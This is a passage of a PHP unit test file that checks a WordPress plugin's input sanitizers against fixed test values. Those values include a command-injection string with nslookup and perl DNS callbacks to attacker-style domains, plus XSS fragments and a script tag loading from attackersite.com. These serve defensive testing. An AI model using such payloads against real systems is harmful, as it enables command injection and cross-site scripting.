            '0-0-2020',
1232
            '2020',
1233
            '李祖阳 xx xx',
1234
            '#ax+dex(tomorrow) $200 200% @peter',
1235
            'this is true',
1236
            'single-review full-width" "alert(69)',
1237
            '[email protected]',
1238
            'https//wordpress.org',
1239
            'wordpress.org',
1240
            'www.wordpress.org',
1241
            'https://wordpress.org',
1242
            '-1',
1243
            'Hello this is a link and a link',
1244
            '',
1245
            '',
1246
            '',
1247
            '',
1248
            '',
1249
            '',
1250
            '',
1251
            '',
1252
        ]);
1253
    }
1254
1255
    public function test_sanitize_text_html()
1256
    {
1257
        $sanitized = $this->sanitize('text-html');
1258
        $this->assertEquals($sanitized, [
1259
            '',
1260
            'abc',
1261
            '1',
1262
            '',
1263
            '13',
1264
            '0',
1265
            '13',
1266
            '',
1267
            '1',
1268
            '',
1269
            'var x = 23;',
1270
            "This is a\n title!",
1271
            ";(nslookup hit-gx_wgukmocpc5c8dddd.com||perl -e gethostbyname('hissstgxwgukmocpc5c80.me'))",
1272
            'June 13, 1989',
1273
            '03-12-2020',
1274
            '0-0-2020',
1275
            '2020',
1276
            '李祖阳 xx xx',
1277
            '#ax+dex(tomorrow) $200 200% @peter',
1278
            'this is true',
1279
            'single-review full-width" "alert(69)',
1280
            '[email protected]',
1281
            'https//wordpress.org',
1282
            'wordpress.org',
1283
            'www.wordpress.org',
1284
            'https://wordpress.org',
1285
            '-1',
1286
            '<a id="xxx" href="https://apple.com" title="hello" target="_blank">Hello</a> this is <em>a link</em> and a <strong>link</strong>',
1287
            '',
1288
            '',
1289
            '',
1290
            '',
1291
            '',
1292
            ' &lt;p title=&quot;  *{/*all*/color/*all*/:/*all*/#f78fb3/*all*/;} ',
1293
            '',
1294
            '',
1295
        ]);
1296
        $sanitized = $this->sanitize('text-html:a,img');
1297
        $this->assertEquals($sanitized[27], '<a id="xxx" href="https://apple.com" title="hello" target="_blank">Hello</a> this is a link and a link');
1298
        $this->assertEquals($sanitized[28], '&lt;img sr<img src="x">c=x alert(55)&gt;');
1299
        $this->assertEquals($sanitized[29], '&lt;script sr<img src="x">c=https://attackersite.com/test.js&gt;');
1300
    }
1301
1302
    public function test_sanitize_text_multiline()
1303
    {
1304
        $sanitized = $this->sanitize('text-multiline');
1305
        $this->assertEquals($sanitized, [
1306
            '',
1307
            'abc',
1308
            '1',
1309
            '',
1310
            '13',
1311
            '0',
1312
            '13',
1313
            '',
1314
            '1',
1315
            '',
1316
            '',
1317
            "This is a\n title!",
1318
            ";(nslookup hit-gx_wgukmocpc5c8dddd.com||perl -e gethostbyname('hissstgxwgukmocpc5c80.me'))",
1319
            'June 13, 1989',
1320
            '03-12-2020',
1321
            '0-0-2020',
1322
            '2020',
1323
            '李祖阳 xx xx',
1324
            '#ax+dex(tomorrow) $200 200% @peter',
1325
            'this is true',
1326
            'single-review full-width" "alert(69)',
1327
            '[email protected]',
1328
            'https//wordpress.org',
1329
            'wordpress.org',
1330
            'www.wordpress.org',
1331
            'https://wordpress.org',
1332
            '-1',
1333
            'Hello this is a link and a link',
1334
            '',
1335
            '',
1336
            '',
1337
            '',
1338
            '',
1339
            '',
1340
            '',
1341
            '',
1342
        ]);
1343
    }
1344
1345
    public function test_sanitize_text_post()
1346
    {
1347
        $sanitized = $this->sanitize('text-post');
1348
        $this->assertEquals($sanitized, [
1349
            '',
1350
            'abc',
1351
            '1',
1352
            '',
1353
            '13',
1354
            '0',
1355
            '13',
1356
            '',
1357
            '1',
1358
            '',
1359
            'var x = 23;',
1360
            "<h3>This is a\n title!</h3>",
1361
            ";(nslookup hit-gx_wgukmocpc5c8dddd.com||perl -e gethostbyname(\'hissstgxwgukmocpc5c80.me\'))",
1362
            'June 13, 1989',
1363
            '03-12-2020',
1364
            '0-0-2020',
1365
            '2020',
1366
            '李祖阳 xx xx',
1367
            '#ax+dex(tomorrow) $200 200% @peter',
1368
            'this is true',
1369
            'single-review full-width\" \"alert(69)',
1370
            '[email protected]',
1371
            'https//wordpress.org',
1372
            'wordpress.org',
1373
            'www.wordpress.org',
1374
            'https://wordpress.org',
1375
            '-1',
1376
            '<div><span><a id=\"xxx\" href=\"https://apple.com\" title=\"hello\" target=\"_blank\"><span>Hello</span></a> this is <em>a link</em> and a <strong>link</strong></span></div><ul><li></li></ul>',
1377
            '&lt;img sr<img src=\"x\">c=x alert(55)&gt;',
1378
            '&lt;script sr<img src=\"x\">c=https://attackersite.com/test.js&gt;',
1379
            '<img src=\"x\">',
1380
            '',
1381
            '',
1382
            ' &lt;p title=&quot;  *{/*all*/color/*all*/:/*all*/#f78fb3/*all*/;} ',
1383
            '<img src>',
1384
            '',
1385
        ]);
1386
    }
1387
1388
    public function test_sanitize_url()
1389
    {
1390
        $sanitized = $this->sanitize('url');
1391
        $this->assertEquals($sanitized, [
1392
            '',
1393
            'https://abc',
1394
            'https://1',
1395
            '',
1396
            'https://13',
1397
            'https://0',
1398
            'https://13',
1399
            '',
1400
            'https://1',
1401
            '',
1402
            '',
1403
            '',
1404
            '',
1405
            '',
1406
            'https://03-12-2020',
1407
            'https://0-0-2020',
1408
            'https://2020',
1409
            '',
1410
            '',
1411
            '',
1412
            '',
1413
            'https://[email protected]',
1414
            'https://https//wordpress.org',
1415
            'https://wordpress.org',
1416
            'https://www.wordpress.org',
1417
            'https://wordpress.org',
1418
            '',
1419
            '',
1420
            '',
1421
            '',
1422
            '',
1423
            '',
1424
            '',
1425
            '',
1426
            '',
1427
            '',
1428
        ]);
1429
    }
1430
1431
    public function test_sanitize_user_email()
1432
    {
1433
        $sanitized = $this->sanitize('user-email');
1434
        $this->assertEquals($sanitized, [
1435
            '',
1436
            '',
1437
            '',
1438
            '',
1439
            '',
1440
            '',
1441
            '',
1442
            '',
1443
            '',
1444
            '',
1445
            '',
1446
            '',
1447
            '',
1448
            '',
1449
            '',
1450
            '',
1451
            '',
1452
            '',
1453
            '',
1454
            '',
1455
            '',
1456
            '[email protected]',
1457
            '',
1458
            '',
1459
            '',
1460
            '',
1461
            '',
1462
            '',
1463
            '',
1464
            '',
1465
            '',
1466
            '',
1467
            '',
1468
            '',
1469
            '',
1470
            '',
1471
        ]);
1472
    }
1473
1474
    public function test_sanitize_user_id()
1475
    {
1476
        $userId1 = self::factory()->user->create();
1477
        $userId2 = self::factory()->user->create();
1478
        $values = $this->testValues;
1479
        $values[] = $userId1;
1480
        $sanitized = $this->sanitize('user-id', $values);
1481
        $this->assertEquals($sanitized, [
1482
            0,
1483
            0,
1484
            0,
1485
            0,
1486
            0,
1487
            0,
1488
            0,
1489
            0,
1490
            0,
1491
            0,
1492
            0,
1493
            0,
1494
            0,
1495
            0,
1496
            0,
1497
            0,
1498
            0,
1499
            0,
1500
            0,
1501
            0,
1502
            0,
1503
            0,
1504
            0,
1505
            0,
1506
            0,
1507
            0,
1508
            0,
1509
            0,
1510
            0,
1511
            0,
1512
            0,
1513
            0,
1514
            0,
1515
            0,
1516
            0,
1517
            0,
1518
            $userId1,
1519
        ]);
1520
        $sanitized = $this->sanitize("user-id:{$userId2}", $values);
1521
        $this->assertEquals($sanitized, [
1522
            $userId2,
1523
            $userId2,
1524
            $userId2,
1525
            $userId2,
1526
            $userId2,
1527
            $userId2,
1528
            $userId2,
1529
            $userId2,
1530
            $userId2,
1531
            $userId2,
1532
            $userId2,
1533
            $userId2,
1534
            $userId2,
1535
            $userId2,
1536
            $userId2,
1537
            $userId2,
1538
            $userId2,
1539
            $userId2,
1540
            $userId2,
1541
            $userId2,
1542
            $userId2,
1543
            $userId2,
1544
            $userId2,
1545
            $userId2,
1546
            $userId2,
1547
            $userId2,
1548
            $userId2,
1549
            $userId2,
1550
            $userId2,
1551
            $userId2,
1552
            $userId2,
1553
            $userId2,
1554
            $userId2,
1555
            $userId2,
1556
            $userId2,
1557
            $userId2,
1558
            $userId1,
1559
        ]);
1560
    }
1561
1562
    public function test_sanitize_user_ids()
1563
    {
1564
        self::factory()->user->create_many(2);
1565
        $users = get_users(['fields' => 'ID']);
1566
        $values = $this->testValues;
1567
        $values[] = $users[0];
1568
        $values[] = $users;
1569
        $values[] = implode(',', $users);
1570
        $values[] = array_diff([1, 2, 3, 4, 5, 6, 7, 8, 9], $users);
1571
        $sanitized = $this->sanitize('user-ids', $values);
1572
        $this->assertEquals($sanitized, [
1573
            [],
1574
            [],
1575
            array_intersect($users, array_map('intval', $values[2])),
1576
            [],
1577
            array_intersect($values[4], $users),
1578
            [],
1579
            array_intersect($values[6], $users),
1580
            [],
1581
            [],
1582
            [],
1583
            [],
1584
            [],
1585
            [],
1586
            [],
1587
            [],
1588
            [],
1589
            [],
1590
            [],
1591
            [],
1592
            [],
1593
            [],
1594
            [],
1595
            [],
1596
            [],
1597
            [],
1598
            [],
1599
            [],
1600
            [],
1601
            [],
1602
            [],
1603
            [],
1604
            [],
1605
            [],
1606
            [],
1607
            [],
1608
            [],
1609
            [$users[0]],
1610
            $users,
1611
            $users,
1612
            [],
1613
        ]);
1614
    }
1615
1616
    public function test_sanitize_user_name()
1617
    {
1618
        $values = $this->testValues;
1619
        $values[] = 'Łukasz';
1620
        $values[] = 'မောင်မောင် အောင်မျိုး ကိုကိုဦး မိုးမြင့်သန္တာ';
1621
        $sanitized = $this->sanitize('user-name', $values);
1622
        $this->assertEquals($sanitized, [
1623
            '',
1624
            'abc',
1625
            '1',
1626
            '',
1627
            '13',
1628
            '0',
1629
            '13',
1630
            '',
1631
            '1',
1632
            '',
1633
            '',
1634
            'This is a title',
1635
            'nslookup hit-gxwgukmocpc5c8dddd.comperl -e gethostbyname\'hissstgxwgukmocpc5c80.me\'',
1636
            'June 13, 1989',
1637
            '03-12-2020',
1638
            '0-0-2020',
1639
            '2020',
1640
            '李祖阳 xx xx',
1641
            'axdextomorrow 200 200 peter',
1642
            'this is true',
1643
            'single-review full-width alert69',
1644
            'mattwordpress.org',
1645
            'httpswordpress.org',
1646
            'wordpress.org',
1647
            'www.wordpress.org',
1648
            'httpswordpress.org',
1649
            '-1',
1650
            'Hello this is a link and a link',
1651
            '',
1652
            '',
1653
            '',
1654
            '',
1655
            '',
1656
            '',
1657
            '',
1658
            '',
1659
            'Łukasz',
1660
            'မောင်မောင် အောင်မျိုး ကိုကိုဦး မိုးမြင့်သန္တာ',
1661
        ]);
1662
    }
1663
1664
    public function test_sanitize_version()
1665
    {
1666
        $values = $this->testValues;
1667
        $values[] = 'v1.1.1';
1668
        $values[] = 'v1';
1669
        $values[] = '1.1.1.1';
1670
        $values[] = '1.1.1';
1671
        $values[] = '1.1.1a';
1672
        $values[] = '1.1.beta';
1673
        $values[] = '1.1.beta23';
1674
        $values[] = '1.1..1beta23';
1675
        $values[] = '1.1.1beta23';
1676
        $values[] = '1.1.1-beta23';
1677
        $values[] = '1.1.1-beta.1';
1678
        $sanitized = $this->sanitize('version', $values);
1679
        $this->assertEquals($sanitized, [
1680
            '',
1681
            '',
1682
            '1',
1683
            '',
1684
            '13',
1685
            '0',
1686
            '13',
1687
            '',
1688
            '1',
1689
            '',
1690
            '',
1691
            '',
1692
            '',
1693
            '',
1694
            '',
1695
            '',
1696
            '2020',
1697
            '',
1698
            '',
1699
            '',
1700
            '',
1701
            '',
1702
            '',
1703
            '',
1704
            '',
1705
            '',
1706
            '',
1707
            '',
1708
            '',
1709
            '',
1710
            '',
1711
            '',
1712
            '',
1713
            '',
1714
            '',
1715
            '',
1716
            '',
1717
            '',
1718
            '',
1719
            '1.1.1',
1720
            '',
1721
            '',
1722
            '',
1723
            '',
1724
            '',
1725
            '1.1.1-beta23',
1726
            '1.1.1-beta.1',
1727
        ]);
1728
    }
1729
1730
    protected function sanitize(string $sanitizer, array $values = [])
1731
    {
1732
        if (empty($values)) {
1733
            $values = $this->testValues;
1734
        }
1735
        $sanitizers = array_fill_keys(array_keys($values), $sanitizer);
1736
        return (new Sanitizer($values, $sanitizers))->run();
1737
    }
1738
}
1739